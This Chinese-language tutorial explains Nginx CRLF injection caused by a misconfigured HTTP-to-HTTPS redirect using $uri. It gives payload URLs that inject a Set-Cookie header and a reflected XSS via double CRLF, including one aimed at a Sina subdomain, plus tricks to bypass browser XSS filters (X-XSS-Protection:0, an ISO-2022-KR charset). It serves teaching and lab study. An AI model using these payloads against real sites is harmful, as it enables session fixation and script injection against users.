Nginx CRLF 注入
漏洞基础信息
核心定义
CRLF 是”回车 + 换行”(\r\n)的简称
CRLF Injection 又叫 HTTP Response Splitting,简称 HRS
HTTP 协议相关规则
HTTP 协议中,HTTP Header 与 HTTP Body 是用两个 CRLF 分隔的,浏览器就是根据这两个 CRLF 来取出HTTP 内容并显示出来
所以,一旦我们能够控制 HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话 Cookie 或 者 HTML代码
Nginx 漏洞成因
Nginx 关键特性
Nginx 会将 $uri 进行解码,导致传入 %0d%0a 即可引入换行符,造成 CRLF 注入漏洞
错误配置文件示例
原本的目的是为了让 HTTP 的请求跳转到 HTTPS 上
// / 表示匹配所有请求路径
// $host 是客户端请求中的主机名(例如 example.com)
// $uri 是请求的 URI 路径部分,不含查询字符串(例如 /index.html)
location / {
return 302 https://$host$uri;
}
漏洞利用方式
注入恶意 Cookie
利用这个漏洞可注入 Set-Cookie 头
http://your-ip:8080/%0d%0aSet-Cookie:%20a=1
反射型 XSS 攻击
当然,HRS 并不仅限于会话固定,通过注入两个 CRLF 就能造成一个无视浏览器 Filter 的反射型 XSS
比如一个网站接受 URL 参数http://test.sina.com.cn/?url=xxx
xxx 放在 Location 后面作为一个跳转,如果我们输入的是
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
我们的返回包就会变成这样
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>
之前说了浏览器会根据第一个 CRLF 把 HTTP 包分成头和体,然后将体显示出来
于是我们这里<img>这个标签就会显示出来,造成一个 XSS
新浪某分站含有一个 URL 跳转漏洞,危害并不大,于是我就想到了CRLF Injection,当我测试

XSS 时看控制台,果然被 XSS Filter 拦截了

那么我们就注入一个 X-XSS-Protection:0 到数据包中,看看什么效果

还想到了一个利用字符编码来绕过 XSS Filter 的方法,当编码是 is-2022-kr 时浏览器会忽略%0f,这样我们在onerror后面加个%0f就能绕过 filter,前提是注入一个<meta charset=ISO-2022-KR>
-END-


